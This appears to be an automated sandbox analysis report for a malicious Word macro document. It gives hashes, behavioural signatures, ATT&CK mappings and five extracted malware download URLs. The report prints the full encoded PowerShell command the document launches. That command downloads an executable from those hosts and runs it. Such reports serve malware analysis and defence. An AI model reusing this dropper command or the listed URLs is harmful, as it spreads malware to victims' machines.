66560ecae1fa34327556f3a3ae7c82915435249b023141c390a3f52c3f460a20

General

Target

62267a2d58c8093978a82e5df7fee049JaffaCakes118.doc
Size

207KB
MD5

62267a2d58c8093978a82e5df7fee049
SHA1

706a48ac51f6a949c3d059cbd6c8504b6b15dacb
SHA256

66560ecae1fa34327556f3a3ae7c82915435249b023141c390a3f52c3f460a20
SHA512

ea59715ace2b51bbf00e7598324e9919dbf969b30e6b5bb5712d4ec3a060c5bd6a78ec6001e5bf535ef8e1fcf9e888622685cc84977fce50d39a6d95fa0c7346
SSDEEP

3072:E3MMsXSi54XEmpDP4NaNJgj+H8AbliNKDzaJFUKc0UTE7yZRUV7RJeOzi8F:ms5WX1jFu88AbAEDzYUTE7yZRVUi8F

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://miamifloridainvestigator.com/48R8nccw

exe.dropper

http://yusufsevim.com/4aj5f63E

exe.dropper

http://dogmencyapi.com/fzmtCEgz

exe.dropper

http://myvidio.site/zeAtqnKQbF

exe.dropper

http://comeinitiative.org/krh8mzC

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

PoWersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2388	4576	PoWersheLL.exe	WINWORD.EXE

Blocklisted process makes network request 2 IoCs

Processes:

PoWersheLL.exe

flow pid process

24 2388 PoWersheLL.exe
30 2388 PoWersheLL.exe

flow	pid	process
24	2388	PoWersheLL.exe
30	2388	PoWersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4576 WINWORD.EXE
4576 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

PoWersheLL.exe

pid process

2388 PoWersheLL.exe
2388 PoWersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

PoWersheLL.exe

description pid process

Token: SeDebugPrivilege 2388 PoWersheLL.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4576 WINWORD.EXE
4576 WINWORD.EXE
4576 WINWORD.EXE
4576 WINWORD.EXE
4576 WINWORD.EXE
4576 WINWORD.EXE
4576 WINWORD.EXE

pid	process
4576	WINWORD.EXE
4576	WINWORD.EXE

pid	process
2388	PoWersheLL.exe
2388	PoWersheLL.exe

description	pid	process
Token: SeDebugPrivilege	2388	PoWersheLL.exe

pid	process
4576	WINWORD.EXE
4576	WINWORD.EXE
4576	WINWORD.EXE
4576	WINWORD.EXE
4576	WINWORD.EXE
4576	WINWORD.EXE
4576	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 4576 wrote to memory of 2388	4576	WINWORD.EXE	PoWersheLL.exe
PID 4576 wrote to memory of 2388	4576	WINWORD.EXE	PoWersheLL.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\62267a2d58c8093978a82e5df7fee049JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4576

C:\Windows\System32\WindowsPowerShell\v1.0\PoWersheLL.exe
PoWersheLL -e JABEAFkAaQBhAGYAUwBNAD0AKAAnAEgAagAnACsAJwBJACcAKwAnAG4AUgBUAHoAaAAnACkAOwAkAHIAVQBUAFEATgBpAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAEIAegBqAHEAcgB6AD0AKAAnAGgAdAB0AHAAOgAnACsAJwAvAC8AbQBpAGEAbQBpAGYAbABvAHIAJwArACcAaQBkAGEAaQBuAHYAZQBzACcAKwAnAHQAaQBnAGEAdAAnACsAJwBvAHIALgBjACcAKwAnAG8AbQAnACsAJwAvADQAOABSADgAbgBjAGMAJwArACcAdwBAAGgAdAB0AHAAOgAvACcAKwAnAC8AeQB1AHMAJwArACcAdQAnACsAJwBmAHMAZQB2AGkAbQAuAGMAbwBtAC8ANAAnACsAJwBhAGoANQBmADYAMwBFAEAAaAB0ACcAKwAnAHQAcAA6AC8AJwArACcALwAnACsAJwBkACcAKwAnAG8AZwAnACsAJwBtAGUAbgBjAHkAYQBwAGkAJwArACcALgBjACcAKwAnAG8AbQAvAGYAegAnACsAJwBtAHQAJwArACcAQwBFAGcAegBAAGgAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AbQB5AHYAaQAnACsAJwBkAGkAJwArACcAbwAuAHMAJwArACcAaQB0AGUAJwArACcALwB6AGUAQQB0AHEAbgBLAFEAJwArACcAYgBGAEAAJwArACcAaAB0AHQAcAA6AC8ALwBjAG8AJwArACcAbQBlACcAKwAnAGkAbgBpACcAKwAnAHQAaQAnACsAJwBhACcAKwAnAHQAaQAnACsAJwB2AGUALgBvAHIAZwAnACsAJwAvAGsAJwArACcAcgBoADgAbQB6AEMAJwApAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAdQBTAGkATQBEAHcAcgA9ACgAJwBSAHoANgB6AGgAJwArACcASAA1ACcAKwAnAGYAJwApADsAJABLAFgAMgBzADIANwBjACAAPQAgACgAJwAyADAAJwArACcAMAAnACkAOwAkAEUAdAB3AE4AVgBKAE8APQAoACcAYwA2ACcAKwAnAFUANAB3AHYAJwApADsAJABqAFIASgBZADcAUgBMAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABLAFgAMgBzADIANwBjACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQARABpAEQAbwAyAFEATQBxACAAaQBuACAAJABCAHoAagBxAHIAegApAHsAdAByAHkAewAkAHIAVQBUAFEATgBpAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAEQAaQBEAG8AMgBRAE0AcQAsACAAJABqAFIASgBZADcAUgBMAGkAKQA7ACQASgBhAG4AegBtAGYASAA9ACgAJwBvAGwAJwArACcAZgAnACsAJwBYAHcAbAAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABqAFIASgBZADcAUgBMAGkAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABqAFIASgBZADcAUgBMAGkAOwAkAGMASwBpAFIAMgA1AGkAPQAoACcASABaAGQAQgAnACsAJwA5AHYAMQAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAbgBOADIAZABOAHEAPQAoACcAVABtAEUAcgB0ACcAKwAnAFUAJwApADsA
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2388

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD78F2.tmp\gb.xsl
Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hainqnna.iq3.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2388-41-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-58-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/2388-42-0x000001E15E3D0000-0x000001E15E3F2000-memory.dmp

Filesize
136KB

Download
memory/4576-20-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-35-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-8-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-7-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-11-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-10-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-13-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-12-0x00007FF835740000-0x00007FF835750000-memory.dmp

Filesize
64KB

Download
memory/4576-9-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-14-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-16-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-17-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-18-0x00007FF835740000-0x00007FF835750000-memory.dmp

Filesize
64KB

Download
memory/4576-19-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-21-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-2-0x00007FF837990000-0x00007FF8379A0000-memory.dmp

Filesize
64KB

Download
memory/4576-15-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-0-0x00007FF837990000-0x00007FF8379A0000-memory.dmp

Filesize
64KB

Download
memory/4576-36-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-39-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-40-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-4-0x00007FF8779AD000-0x00007FF8779AE000-memory.dmp

Filesize
4KB

Download
memory/4576-6-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-5-0x00007FF837990000-0x00007FF8379A0000-memory.dmp

Filesize
64KB

Download
memory/4576-1-0x00007FF837990000-0x00007FF8379A0000-memory.dmp

Filesize
64KB

Download
memory/4576-64-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-65-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-3-0x00007FF837990000-0x00007FF8379A0000-memory.dmp

Filesize
64KB

Download
memory/4576-516-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-544-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-545-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download
memory/4576-568-0x00007FF837990000-0x00007FF8379A0000-memory.dmp

Filesize
64KB

Download
memory/4576-569-0x00007FF837990000-0x00007FF8379A0000-memory.dmp

Filesize
64KB

Download
memory/4576-571-0x00007FF837990000-0x00007FF8379A0000-memory.dmp

Filesize
64KB

Download
memory/4576-570-0x00007FF837990000-0x00007FF8379A0000-memory.dmp

Filesize
64KB

Download
memory/4576-572-0x00007FF877910000-0x00007FF877B05000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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